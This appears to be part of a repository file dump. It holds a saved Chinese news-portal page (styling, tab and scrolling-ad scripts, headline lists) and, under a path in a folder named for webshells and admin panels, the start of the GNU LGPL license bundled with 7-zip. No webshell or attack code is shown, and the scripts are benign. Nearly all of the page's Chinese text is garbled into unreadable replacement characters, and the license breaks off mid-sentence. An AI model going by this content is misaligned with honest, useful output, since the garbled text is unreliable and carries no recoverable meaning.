newroll1 */\n.newroll1{ height:28px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 0; margin-top:1px; position:relative; border-bottom: 1px solid #999;}\n.newroll1 li{ float:left; overflow:hidden; cursor: hand; list-style-type: none;}\n.newroll1 li span{ display:block; float:left; text-indent:-10000px; }\n.newroll1 li.onno1{ width:113px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 0; position:absolute; left:0; }\n.newroll1 li.onno2{ width:111px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -112px 0; position:absolute; left:112px;}\n.newroll1 li.onno3{ width:97px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -222px 0; position:absolute; left:222px;}\n.newroll1 li.on1{ width:113px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat 0 -33px; position:absolute; left:0; }\n.newroll1 li.on2{ width:111px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -112px -33px; position:absolute; left:112px; }\n.newroll1 li.on3{ width:97px; height:29px; background:url(/css/2010/bg_tabNav.png) no-repeat -222px -33px; position:absolute; left:222px; }\n\n.tips{ width:100%; padding:10px; height:26px; overflow:hidden; font:normal 16px/28px \"����\"; color:#c00; }\n.tmore{ position:absolute; right:18px; top:8px; }\n.tmore_g{ background:url(css/2010/ico_arr_g.png) no-repeat right 1px; padding-right:15px; color:#000; }\n.newsMidbar\n{\n\t\n\theight: 28px;\n\tposition: relative;\n\twidth: 430px;\n\tz-index: 2;\n}\n.newsMidbar h3.tj\n{\n\t_bottom: -1px;\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\n\tcolor: green;\n\tfloat: left;\n\tfont: bold 14px/27px \"����\";\n\theight: 29px;\n\tposition: relative;\n\ttext-align: center;\n\twidth: 85px;\n}\n\n.focusInterview{\n\n}\n\n.rollnewsMore\n{\nbackground-image: url(/css/2010/podbottom_rollnews.gif);\t\n\tfloat: left;\n\theight: 32px;\n\twidth: 100%;\n\ttext-align: right;\n}\n.rollnewsMore a { \n\ttext-decoration: none;\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\n\tbackground-position: 0 12px;\n\tcolor: #0000FF;\n\tpadding: 8px 10px 0 10px;\n\tposition: relative;\n\ttop: 4px;\n\tfloat: right;\n}\n.rollnewsMore a:hover { color: red; text-decoration: underline; }\n.rollnewsMore a.new  {font-weight: bold;}\n.morecat\n{\nbackground: url(/css/2010/podbottom_morecatnews.gif) no-repeat right;\t\n\tfloat: right;\n\theight: 30px;\n\twidth:60%;\n\ttext-align: left;\n}\n.morecat a { \n\ttext-decoration: none;\n\tcolor: #0000FF;\n\tpadding: 8px 0px 0 10px;\n\tposition: relative;\n\ttop: 4px;\n\tfont-size:12px;\n\tfloat: left;\n}\n.morecat a:hover { color: red; text-decoration: underline; }\n\n.morecat b { \n\ttext-decoration: none;\n\tcolor: #333;\n\tpadding: 8px 0px 0 0px;\n\tposition: relative;\n\tfloat: left;\n}\n\n.morecatnews\n{\n\tfloat: left;\n\theight: 30px;\n\ttext-align: left;\n\twidth:30%;\n}\n.morecatnews a { \n\ttext-decoration: none;\n\tcolor: #0000FF;\n\tpadding: 8px 0px 0px 5px;\n\tposition: relative;\n\ttop: 4px;\n\tleft:30px;\n\tfont-size:12px;\n\tfloat: left;\n}\n.morecatnews a:hover { color: red; text-decoration: underline; }\n\n.morecatnews b { \n\ttext-decoration: none;\n\tcolor: #0000FF;\n\tpadding: 8px 0px 0px 0px;\n\tposition: relative;\n\tleft:30px;\n\tfloat: left;\n}\n\n-->\n\n\n<!--[if lte IE 7]>\n<style>\n.newsList ul li {line-height:24px;}\n.rankList ul li {line-height:24px;}\n</style>\n<![endif]-->\n \nfunction $(o){return document.getElementById(o);}\nfunction li_Div_Init(chl){\nvar len = $(chl).getElementsByTagName(\"li\").length\nfor (var i = 1 ; i <= len ; i ++ ){\n$(chl+\"_t_\"+i).className= \"onno\"+ i;\n$(chl+\"_b_\"+i).style.display=\"none\";\n}\t\n}\nfunction changeDivs2(chl,param){\nli_Div_Init(chl);\n$(chl+\"_t_\"+param).className= \"on\"+ param;\n$(chl+\"_b_\"+param).style.display=\"block\";\n}\n  \n\n\n\n\n\n\n\n\n��½���Ǵ�\n������\n����\n��������\n���� \n&raquo; ����\n\t\n\n�����ղ�\n��Ϊ��ҳ\n\n  \n    \n    \n    \n    \n    \n  \n</form>\n\n\n\t\t\n\t\t\n\t\n\n\n   \n     \n     \t\n     \t\t    \n           \n       \n\n\n\n  \n\n\n<!-- /menu -->\n\n\n\t��������ҳ\n\tȫ���Ѷ\n\t���Ǵ岩��\t\n\t�ȵ���̳\n\t������΢��\n\tͬ������\n\t����ר��\n\tͶƱ���\t\n\t�����Ȱ�\n\t�ȼ۹���\t\n\n\n\n\n�����Ϣ��\n������Ʒ���� \nס����Ϣ \n����� \n��ְ��Ƹ \n������Ϣ\n�������� \n&nbsp;&nbsp;&nbsp;\n��ѷ�����\n������Ʒ���� \nס����Ϣ \n����� \n��ְ��Ƹ \n������Ϣ\n�������� \n\n\n\n\t\t\t\n\t\t����̨ʱ�䣺11��9��17ʱ39�� ������ �й�ũ����10��14�� \n\t\n<!--\nvar marquee_txt=new Array(); var marquee_link=new Array();\n\n\nmarquee_txt[0]=\"�ع��������!�����˲ζԱ������������ر��Żݡ� Coupon���룺bc1811 \";\nmarquee_link[0]=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=96__zoneid=4\";\n\nmarquee_txt[1]=\"����Ρ���̥�̡���������֬200�����������ý�����Ʒ��ȫ���ؼۣ��ɴ˽�����1-888-915-5888)\";\nmarquee_link[1]=\"http://megahealthca.com/osc/catalog/index.php?language=zh\";\n\nvar num = Math.random() * 10\nif (num >= 0 && num <=5) num = 0\nif (num > 5 && num <=10) num = 1\n\nif (marquee_txt[num]!=\"\"){\n\tdocument.write('<marquee border=\"0\" scrolldelay=\"30\"  scrollamount=\"3\" turespeed=\"true\" onMouseOver=\"javascript: this.stop();\" onMouseOut=\"javascript: this.start();\"><a href=\"'+marquee_link[0]+'\" class=\"sublinks\">'+marquee_txt[0]+'</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"'+marquee_link[1]+'\" class=\"sublinks\">'+marquee_txt[1]+'</a></marquee>');\n}\n//-->\n \n\n\n\n<!-- /end menu -->   \t\n  \n\n  <!--��Ҫ����-->\n  \n\n\n\n\n<!--    start the first screen   -->\n\n<!-- start the first screen --> \n\n\n<!-- start right -->\n\n\t\n\n\n\n\n<!-- start news part1 -->\n\n\n\n\n    \n     \n      \n      �����ȵ� \n       \n      \n      \t�ȵ����\n      \n    \n  \n\n\n\n\t\n\nΪ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����\n��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱�����. 83 ����\n�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����\nЯǹ����ʿ����ϸ������¶ �����ڱ����� ��������һ. 32 ����\n48�����ӵ�29����Ž��� ���׶�С������˽�����ع�.. 7 ����\n��¶����¶����¶¶�����ľ���д�� �����������ջ�.. 9 ����\n��ϷУ����ٳ�ع�д�� ���ص�������� ��������(��. \n���к�����ѷһ����,��$600Amazon��ȯ,12/15ֹ\n��������Ҽҵĺ�԰��������ʰ����...(��ͼ�� ����˵�������ף�������ű�ǿ�������Ҳ�����Ӳ��� ������������ã��������һ�룬�����������׽�Ų� \n\n\n\n\n\n\n\n\n\n        \t \n        \n\n        \n \nvar netid,netid2,pic_id2;\nfunction ShowLi(netid){\nvar w; \nfor ( w=1; w<=3; w++ ){\ndocument.getElementById(\"dbtl_t_\"+w).className = \"onno\"+ w;\ndocument.getElementById(\"dbtl_b_\"+w).style.display = \"none\";\n}\ndocument.getElementById(\"dbtl_t_\"+netid).className = \"on\"+ netid;\ndocument.getElementById(\"dbtl_b_\"+netid).style.display = \"\";\n} \nfunction ClearTime(){\nclearTimeout(pic_id2);\n}\nfunction DelayShow(netid2){\nClearTime();\nif(netid2=='1')\npic_id2 = setTimeout(\"ShowLi(1)\",300);\nif(netid2=='2')\npic_id2 = setTimeout(\"ShowLi(2)\",300);\nif(netid2=='3')\npic_id2 = setTimeout(\"ShowLi(3)\",300);\n}\n \n\n\n\n<!--ȫ���Ѷ-->\n<!--48Сʱ�ȵ�-->\n<!--��������-->\n����\n\n\n\n\n\t\n\n\n\tͼƬ\n\t����Ƭ\n\t����\t\t\t\t\n\t\t�ǲ�˹\t\t\n\t\tռ�컪����\n\t\t������ר�� \n\n\n\t\n\t480P vs. 720P, �e�����ٸ��塱����\n\n\n\t\t<!-- \n\t\t//\t\n\t\t//\t\t<li><a class=newsad href=\"http://www.kylintv.com/kylintv/servlets/refer/BAC3?utm_source=Backchina&utm_medium=textlink&utm_campaign=Summer\">���ӡ���ˡ���ͯ��90���и�̨����Ƶ����ѿ�</a></li>\n\n\t\t<li><a class=newsad href=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=37__zoneid=3\" target=\"_blank\">��������һ����������Լ��ɡ����Ȳ������Ŀ��ѿ�\n</a></li> \n\n <li><a class=newsad href=\"http://my.backchina.com/quickpost.php\">����Ϣ����ѷ������,������Ϣ,��������,�ⷿ���,��Ƹ��</a></li> \n\t\t\t<li><a class=newsad href=\"http://ads.backchina.com/database/www/delivery/ck.php?oaparams=2__bannerid=37__zoneid=3\" target=\"_blank\"> 88���и�̨Ƶ���� 14 ��������߹ۿ����ĵ��ӣ������μӣ�</a></li>    -->\n��ž�4���ӱ�����4������ ����ſ�������׼�������� \n��ž�פ��������ʿ����ǹ��������ϸ���ع� ��·�Ͻ��� \n�й�����֮��־Ը�߹����ܱ����� ���ؼ���ͷ������(��ͼ) \n�����������������Ŵ�ʼ������Ļ���ױ���9280����Ԫ \ný�帱�ܱ����ö����Ǩ�����⹫���־��ٶ�����в���� \n�ع��������ģ��ع�����ع���Ʊ���ع�ǩ֤һվ�㶨��ž����ۺ����ܲ��Ƿ���ֳ��ʩ ������Ӿ�����Ա(��ͼ) \n���춫���������˹��ɨ�� ���϶��ҿ����θ�ñ ����. 6 ����\n���ӷ��վ�����Һ��� ҽ��˺�Ĳ�����ֻ����д�ò��ÿ� \n�й���·�����г���Ԥ��5�Ųм���Ʊ �����е�����Ż� \n������ͷ�µ���Ź��м��� �����ټ���Ⱥ��Χ�۶µ�(ͼ) \n�ж��Ż��ͽ���-���Թǽ�ԭ�������ء���յ�ء���øQ10��¬˹����Ϊ��������ծ���� ������ʥ��ȻлĻ��̳.. 2 ����\n������������˽�޻�ֻ����1992�� ������������Ϊ��. 3 ����\n����Ӱ�ӣ��й������ҵ�������ɥ���� ��������(��. 2 ����\n�Ϸǻع��������ģ�����ѹ�������� �ٵ�һ�껹һ����. 5 ����\n�ڶ���ŦԼ�й���Ӱ�ڿ��� �����ɳ����ߺ�̺(������. 2 ����\n��Ч����Ӳ���������ר���Ǿ���/��Ѫͨ����ǿ���¹�ϣ�����ٷ��� ����֧��������ס��ģ�����ٶȱ��� \n����Ͷ��160������Ź��̲��ת�� ��ʩ����ֻʣ��25. 6 ����\n\n\n<!-- /end news part1 --> \n<!-- start news part1 -->\n\n\t\n�����˲�����ƿ���칫¥��Χ�� ������300��ͬʱ�칫. 2 ����\n����ʷѧ�ҵ�ʬ��� 26��Ůʬ�ؼ��� ����ͬ˯(��/. 7 ����\n��ʮ����ͼΪ��չ�ֽ���ı���  ��ɫ�����ڽ�ɫ�ĺ���ͼ�� \n������У�Խ�ϴ��쾫�ɺ��Ϲ������� �ѿ�ҧ�й�һ. 12 ����\nͶ���������ʿ��������ʵ¼���޵ÿ��°�ĭ����ʧ��. 16 ����\n5���к�������ײ���� ĸ��·���¹���Ȱ�����ҽ����. 12 ����\nɱ���ֶ��ײ� �����������������������򸻺�������.. 3 ����\n�������è�壿���ӿ�����Ա ����ɼ�����һ�Ա�ˢ. 6 ����\n��������ѷ$625������$150�ֽ�+�ж���20%ˢ���ؿۣ�ͼ�������̰������������������� ����3��ƶ���سɸ���. 4 ����\n̨���һ��Ů��Ǿ�׳���ı��� �����̨ͬ�Ϳ�Է�.. 4 ����\n���ոߴ�ѡ���ھ����ɱ��ʬ������������������(��ͼ. 8 ����\n���������Ů��κ���߶ȴ�����д�� ��ձ���ȫ��.. 2 ����\n������ʾ�й�����˳ɲ�Ҫ������� ������������. 12 ����\n���������ӱ�ǿ�������������ֳ壺��ǰû����ɽ ֻ. 12 ����\n��ž��վ�װ���о�Ժר�ҳ��ϼ�15���ػ����з��ɹ�(ͼ) \n��ý�ع�����ϼ16�갮Ů���� ���ưְ� 0%������.. 13 ����\n���޲��磺����Ϊй�߿��1����ͯ ����������������. 23 ����\n�����й���ө��һ�š��Ķ���˹�Ǽ�վ���������쳣. 6 ����\n2011��ɫ��������Ϯ����׼��������̨ý����½��ˮ䰴����������˽�����ɱ����̫Ѫ��.. 4 ����\n����������ơ�ͭȸ̨������������ ����լ�а�ܲ�(ͼ) \nһ����Ȥ����Ƭ�������ǣ����� ��ʱ����Ҫ�����Ƕȣ�ͼ�� \n������͡�������� ������̰���������̡���ִ����. 12 ����\n�׻ƴ����糤���ĸ���ڹ㶫��ı���� 16���ܽ��й�. 12 ����\n��δδ��������ͼ�˽������ʱ����������˷���֮. 33 ����\nһ���˶�ס�Ĳ㽨����ӡ��������39��������ʵ����.. 19 ����\n����΢��ɹ�Լ�10��ǰ�ĳɼ��� ���������̫�պ���(��ͼ) \n��������30������ǿ���� ���ѷ׷׷����Ʊ������Ρ�.. 4 ����\n���ô�ŷ���ɸ������֡�ˮ�֡� ����������Ƶ(ͼ/��Ƶ. 7 ����\n���ڡ��ľ���Яǹ���ӡ��ķ��ɷ��� �������ˣ���׽һ. 9 ����\n����˹��Ů����Ĵ�����ɫ �����Ҫ���ʯ��ȹ������(ͼ) \n�������Ϻ�̸�¹�ϣ���գ���Ҫ������ ���ٱ�Ů����. 11 ����\n��ʫʫ��ɫ��ȹ�Ը����� �ơ���������2����û̸��(��. 4 ����\n���������������������� ����ײɫĦ������(������ͼ. 3 ����\n����̨����ͷ����΢��Ӱ ���ճ��� �������ڼ�Ů��(��ͼ) \nɽ�������ྯ������ ץ�����γ�ǹ�ܲ�Ϯ�������ͷĿ. 3 ����\n�ǻ��ڷ��������е��й����а��죺��Ҳ���ǵ�Ҳ����. 9 ����\n\n\n\n\n\t&nbsp; \n        ȫ���Ѷ�ڶ�ҳ(Next 60)\n        \t\t   \n        \t\t \n        \t\t         \t\n\n\n    \n     \n      \n      ��ǰ�ȵ� \n      ���а� \n      1�� \n      \n      2�� \n      \n      �� \n      \n            ����                         \n      \n    \n  \n\n\n\t\n\nר��С��ȫ����� �������ɽҽԺ���������������. 65 ����\n���вŵ�ѧ��  ����д1000�鵥�ʣ�û���⣬���ҵģ���ͼ�� \n���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ�����. 35 ����\n�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����\n���ԣ�������С����˽�����ع� �������β�������. 22 ����\nŮ����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ.. 31 ����\n�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع�.. 52 ����\nǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������Ա. 49 ����\n�绪�����������ܶ���������Ư����Ů��Ա(��ͼ) 16 ����\n\t\n\n\n\n\n\n \n\t\n�������������48Сʱ���ŵ��\n\n\t\n\n1.�Թ�������ǿ�� �����Ƶ�ع� �ɷ�Ҫ����ֻ���� 143 ����  2.��������������լǿ��Ů�� ���ӡ����ӡ����ӱ�ǿ�� 178 ����  3.ԭ��̬ץ�ı���������ѧŮ�� ���ٳ��ú����ʼѣ� 44 ����  4.ר��С��ȫ����� �������ɽҽԺ��������������� 65 ����  5.�й���ѧ�������� ���ƣ�210ƽ��������15��(��ͼ 49 ����  6.��̬�г¹�ϣ����6������ ���п��ܲ�������ȱ�� 21 ����  7.Ϊ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����  8.���вŵ�ѧ��  ����д1000�鵥�ʣ�û���⣬���ҵ� 0 ����  9.��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱����� 83 ����  10.���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ����� 35 ����  11.�ձ�Ů�����������й������� ��˧�ޣ������أ�(�� 12 ����  12.�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����  13.�񾲾����� �ɷù�����ʱ�ֳ����ڷ�ŭ�ӷ�Ь(ͼ) 15 ����  14.���ԣ�������С����˽�����ع� �������β������� 22 ����  15.�ѵ�һ���İ���ǰ�й���ɫ��Ƭ �����û����(��ͼ 26 ����  16.Ů����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ 31 ����  17.���ĲԾ��Ÿֽ߲����� �ձ�Ů��ȷʵ����(������ͼ 19 ����  18.�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع� 52 ����  19.��ͼ�����ࣺ̽�س�����ͨ�ϰ��յ�����ϸ��(��ͼ) 27 ����  20.Ů�ӳ��ⷿ����ٲƽ�ɫ �����߱���͵��(��ͼ/���� 21 ����  21.ǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������ 49 ����  22.�绪�����������ܶ���������Ư����Ů��Ա(��ͼ) 16 ����  23.����ͳ��ѡ�˿���������ɧ�� ��������Ů˽�ܴ�(�� 26 ����  24.�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����  25.���¸�ʹ�������ɥ����ĸ��ˤ����30�������˷�(ͼ 52 ����  26.�������ӢԢ����� ����ʧ������̽�÷���ȥ��(�� 8 ����  27.����ͼ�����������Ů�μ���������Ҫ��������̨ 8 ����  28.���ѽ������ţ��й����޴�� ��ɼӺ�ֱ����ʧ20�� 25 ����  29.�㶫����������16��ƽ� ����8�������������ʲô 9 ����  30.Խ�ϸ���ǧ����ѧΪ���� ���˲�����ѡ�й�����(�� 14 ����  31.�ձ����ñ����������ţ����ְ�˹����������Ϣ�� 16 ����  32.������ı�����������ࣺ���������ձ����(��ͼ 24 ����  \t\n\n\n \n        \n\n               \n�������������48Сʱ��������\n\n\t\n\n1.��������������լǿ��Ů�� ���ӡ����ӡ����ӱ�ǿ�� 178 ����2.�Թ�������ǿ�� �����Ƶ�ع� �ɷ�Ҫ����ֻ���� 143 ����3.��ý����δδ����ٶȱ�Ͷ����� �й������������� 95 ����4.��ž�פ������ʿ��Яǹ��795���ӵ����� 3�˱����� 83 ����5.ר��С��ȫ����� �������ɽҽԺ��������������� 65 ����6.�ѱ��߳ɹ����Ѽ»���Ա���ǹ��������Ƶ�����ع� 52 ����7.���¸�ʹ�������ɥ����ĸ��ˤ����30�������˷�(ͼ 52 ����8.Ϊ���ܶ�����ֲ���ǻң�֪���߳Ƶ�ʱ����˵ 49 ����9.�й���ѧ�������� ���ƣ�210ƽ��������15��(��ͼ 49 ����10.ǿ�鶾��Ů�� ʩ��������Ա���ɷ�Сѧͬѧ ������ 49 ����11.����ɱ�������ë���뽯��ʯ ����ѧ����ʹ���� 48 ����12.����Χ������������ �й��ٷ��׾��������߼������� 48 ����13.ԭ��̬ץ�ı���������ѧŮ�� ���ٳ��ú����ʼѣ� 44 ����14.����Ԫ��������ʳ���⡱ �ƹ������������(ͼ) 40 ����15.�����人������۽�ž��뾯����ͻ ��ʮ�������� 38 ����16.���ڱ�������Աǿ��Ů�Ӽ������� �ؼ�ػ���(��ͼ 37 ����17.���������ǽ�¶ƭ�ֵ�ʱ���� ������й����õ����� 35 ����18.��δδ��������ͼ�˽������ʱ����������˷��� 33 ����19.�й����򸻺���ЭίԱ�������� ������ʦ��������� 33 ����20.Яǹ����ʿ����ϸ������¶ �����ڱ����� �������� 32 ����21.Ů����һƶ��ϴ С͵���ҵ������� Ȱ��ҪŬ��׬Ǯ 31 ����22.���ַ�����������ǰ���󸱽��ڽ�������»���û�� 30 ����23.�¼��º��𾪣��й�����Я�޿��ȥ �������쾯�� 28 ����24.150Ԫһ���ֱ���������⡱�����Ͼ�ʳƷ������( 27 ����25.��ͼ�����ࣺ̽�س�����ͨ�ϰ��յ�����ϸ��(��ͼ) 27 ����26.�ѵ�һ���İ���ǰ�й���ɫ��Ƭ �����û����(��ͼ 26 ����27.����ͳ��ѡ�˿���������ɧ�� ��������Ů˽�ܴ�(�� 26 ����28.���������������Ϻ�ͶƱѡ���˴���� ����������Ͷ 25 ����29.���ѽ������ţ��й����޴�� ��ɼӺ�ֱ����ʧ20�� 25 ����30.������ʹ��������������ԭ�� ˹������в�����ɹű� 25 ����31.������ı�����������ࣺ���������ձ����(��ͼ 24 ����32.��������������� �������ӣ����ѿ�����ȫ���Ʋ� 24 ����\t\n\n\n \n\n\n\n\t \n\t������������Ǳ��Ǵ����Ѳ�������\n\n\t\n\n ��ë����ë �׼׼� �������£����ǵ�С �������� �ҼҵĻ�԰ ���S�L�� ����ɯ��(��ƪС˵���������ᡷ ���) snow2011 ���ٱ��񷴡���ռ�컪�����˶�������η��� �˼���֮��ի �����ĸ�ϴ��Ľ��������ǿ�������� ������ ��������ѧ�ң���Ѻ��������˼� ��Y�϶� �й���¥�����ļ�������԰����¥ kylelong ������������� ��ӣ�� ���꣬�Ǵ�������---�������ĺ�����־��6�� Զ�󸱴��� �������������׽�Ų� ƽ������ �뺣��ʶ��ǳ ��ѧ�ž���֪ ����һ�� �Ҽҵı�ķ��װ�޹� (��ƪС˵ һ) �����ǫ ����΢Ц֮����̩���ϰ�֮�� - ��̡� ������������ ���׵Ļ��� ���� �λع��� ���� �����ľ���---����ɫ��ǰ�Ļ������ ���� �����ܲ��Ĺ�Ч��Է� kylelong �򲹶�����ɽװ vs �򲹶�������T�� ���� ת��˼�룬���������������� light12 ������ͥ����Ů����������? ���� ���ĸɻ���--ʧ�ֶ�����ţ ���� ���ͻ��-��һ�ŷ��� ���� �����ڽ��� ƽ���Ķ���ʯ �Ӱ�һ�� ���Ҷ��ڽ����� Ů��Ӧ��ѧ������ ��¶Ϊ˪ ��ʳ������ǿ���𺳡��������󶭿�Ѽ����� ����ɫ ������֮�� goodoctor СŮ����˯��ǰ�ĶԻ� Զ�󸱴��� ʿ��ɱ������ alittlesmart ����վ: ��ҹ�����͵������վ ryu �ѵ��й����û�������ˣ� ��� ����̰������֮��������ۼ���Ԫ� k7k6w8 ���� jd918 ���Ӷ���ɢ�� ��1�� ����� �������� (2) epwon �й�������Ͷ����Щ���� cstar ѧϰһ��Ӣ�ĵ��ʣ�XO kylelong ̸̸��������ƶ���ֻ��Ĳ����͸�Դ putongren10 ��ÿ��һ�ˡ������㹽���Ź� ����С���� �����ļ������Ӿ� delilah ͯ��Ŀ������£�2�� fuji ����3 -- Ҷ��Ʈ�� pengl Ư���İ������� [10ͼ] homepeace лʢ�ѣ��γ�褻���һ�λ��� лʢ�� �丸�� leahzhang �й���ɫ��ǿ�顡��һ��а���˵�? �˿� �й��˽�С��������Ϊ������ ��Y�϶� �ٶȽ����һ�����ơ� kylelong �����ˣ����ڳ���С�ձ� kzhoulife ��л�ϵۣ��ɹ��ر����� amyleezhuo ��������������? ƽ������ ����Ԫ���Թ��⡢�����˰��� buweizhai �й���¥��������������������¥ kylelong ������¶����ʤ����΢Ц yzfoto �����ˬ������(ʮ��)����ʰ��--���벻���� ���������֪ �ý��� VANO �������������ˣ���ȴ���Ի���� ����С�鳤 �и��Ե�������ʦ qjd0520 ײ������ qjd0520 50�����µ��й�Ů�˶����Ǹ����У�һ�ζ��� ����ǧ�� �������1997���£� ��ӣ�� �������1997���ϣ� ��ӣ�� ������ɫ�� ���� ��һ��ͶƱ�ļ��� ��Ϊ��� ���� ��18+�� ���� �������ñ������߾�����ʥ�ǹ���� ֣�� ŮΪ�ü��ߡ��ʡ� ����\t\n\n \n\n\n  \n\n\t\n        \n        \n        \n  \n        \n        \n        \n    \n\n\n\n      \t\n<!-- /end news part1 --> \n        \n\n\n\n\t\n\n\t    \n       \t\n       \t       \n                                                     \n     \n\n              \t \n             \n                  \n\n                  \n                  \n                  \n                   \n                  \n    \n         \n                  \n                  \n             \t \n                 \n                  \n                        \n             \t \n                     \n                  \n   \n\n\n\n\n<!-- end ads -->\n\n\n\n\n\n\n\t\n\n<!--colLnavbar start-->\n\n��������\n>> ����ר�� \n<!--colLnavbar end-->\n��������ż��������̿�?�ҵ��������ѱ��ݽ����������ֻ����������ɷ������û����ݵ�̫̫�ᱻ�ݽ������?�����������δ����������?������ǰ�Ƶ����þ���������ݽ����\n���ɱ���ʦ ��С����ʦ\t\n\n\n<!-- box end --> \n\n\n\n\n\t\n\n\n\n\n  <!-- \n<DIV class=\"ad220\"><a href=\"http://streaming.sogotrade.com/Login.aspx?company=BackChina\" target=\"_blank\"><IMG src=\"http://pic.backchina.com/banners/sogo_220x70.gif\" width=220 height=70 border=\"0\"></a></DIV> -->\n\n\n  <!-- box start -->\n\n<!--colLnavbar start-->\n\n���ɸ�Ц\n\n<!--colLnavbar end-->\n ����㽴�ϲ����ѽ @ ��Ц��ͼ �������� @ ��ɫЦ�� �����Ļ������������M������˭���ܼ�Ԧ���� @ ��Ц��ͼ ����ڣ�èү������ô��ɢ���£� @ ��Ц��ͼ ����̰С���� @ ��ɫЦ�� ���ţ�п��ţ�� @ ��ɫЦ�� ������ @ ��ɫЦ�� ��гһ���� @ ��Ц��ͼ ��˵�����������ʦ�����һ�ι������� @ ��Ц��ͼ [����] @ ����Ц��\n���� ��ɫ ��ͼ\n\n<!-- box end -->\n\n\n   \n                  \n                                                         \n                                    \n \n                  \n                  \n\n<!-- <DIV class=\"ad220\"><a href=\"http://travelinsure.com/chinesesim/index.asp?240422\" target=\"_blank\"><IMG src=\"http://pic.backchina.com/banners/travelinsure_220x70.gif\" \n                  width=220 height=70 border=\"0\"></a></DIV>  -->                              \n\n  <!-- box start -->\n\n<!--colLnavbar start-->\n\n��Ӱ���\n\n<!--colLnavbar end-->\nWild Ducks�����ʵ���Ϊ���ĵ��㣬�����۵İ��� ��΢����Ʒ��һ��İ������ǹʵ������ѩ֮��ŦԼ���������������ɽһ�ٸ�İ����---�Ჴ��С����\n\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Tools/7-zip/copying.txt",
    "content": "      GNU LESSER GENERAL PUBLIC LICENSE\n           Version 2.1, February 1999\n\n Copyright (C) 1991, 1999 Free Software Foundation, Inc.\n     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n[This is the first released version of the Lesser GPL.  It also counts\n as the successor of the GNU Library Public License, version 2, hence\n the version number 2.1.]\n\n          Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicenses are intended to guarantee your freedom to share and change\nfree software--to make sure the software is free for all its users.\n\n  This license, the Lesser General Public License, applies to some\nspecially designated software packages--typically libraries--of the\nFree Software Foundation and other authors who decide to use it.  You\ncan use it too, but we suggest you first think carefully about whether\nthis license or the ordinary General Public License is the better\nstrategy to use in any particular case, based on the explanations below.\n\n  When we speak of free software, we are referring to freedom of use,\nnot price.  Our General Public Licenses are designed to make sure that\nyou have the freedom to distribute copies of free software (and charge\nfor this service if you wish); that you receive source code or can get\nit if you want it; that you can change the software and use pieces of\nit in new free programs; and that you are informed that you can do\nthese things.\n\n  To protect your rights, we need to make restrictions that forbid\ndistributors to deny you these rights or to ask you to surrender these\nrights.  These restrictions translate to certain responsibilities for\nyou if you distribute copies of the library or if you modify it.\n\n  For example, if you distribute copies of the library, whether gratis\nor for a fee, you must give the recipients all the rights that we gave\nyou.  You must make sure that they, too, receive or can get the source\ncode.  If you link other code with the library, you must provide\ncomplete object files to the recipients, so that they can relink them\nwith the library after making changes to the library and recompiling\nit.  And you must show them these terms so they know their rights.\n\n  We protect your rights with a two-step method: (1) we copyright the\nlibrary, and (2) we offer you this license, which gives you legal\npermission to copy, distribute and/or modify the library.\n\n  To protect each distributor, we want to make it very clear that\nthere is no warranty for the free library.  Also, if the library is\nmodified by someone else and passed on, the recipients should know\nthat what they have is not the original version, so that the original\nauthor's reputation will not be affected by problems that might be\nintroduced by others.\n\f\n  Finally, software patents pose a constant threat to the existence of\nany free program.  We wish to make sure that a company cannot\neffectively restrict the users of a free program by obtaining a\nrestrictive license from a patent holder.  Therefore, we insist that\nany patent license obtained for a version of the library must be\nconsistent with the full freedom of use specified in this license.\n\n  Most GNU software, including some libraries, is covered by the\nordinary GNU General Public License.  This license, the GNU Lesser\nGeneral Public License, applies to certain designated libraries, and\nis quite different from the ordinary General Public License.  We use\nthis license for certain libraries in order to permit linking those\nlibraries into non-free programs.\n\n  When a program is linked with a library, whether statically or using\na shared library, the combination of the two is legally speaking a\ncombined work, a derivative of the original library.  The ordinary\nGeneral Public License therefore permits such linking only if the\nentire combination fits its criteria of freedom.  The Lesser General\nPublic License permits more lax criteria for linking other code with\nthe library.\n\n  We call this license the \"Lesser\" General Public License because it\ndoes Less to protect the user's freedom than the ordinary General\nPublic License.  It also provides other free software developers Less\nof an advantage over competing non-free programs.  These disadvantages\nare the reason we use the ordinary General Public License for many\nlibraries.  However, the Lesser license provides advantages in certain\nspecial circumstances.\n\n  For example, on rare occasions, there may be a special need to\nencourage the widest possible use of a certain library, so that it becomes\na de-facto standard.  To achieve this, non-free programs must be\nallowed to use the library.  A more frequent case is that a free\nlibrary does the same job as widely used non-free libraries.  In this\ncase, there is little to 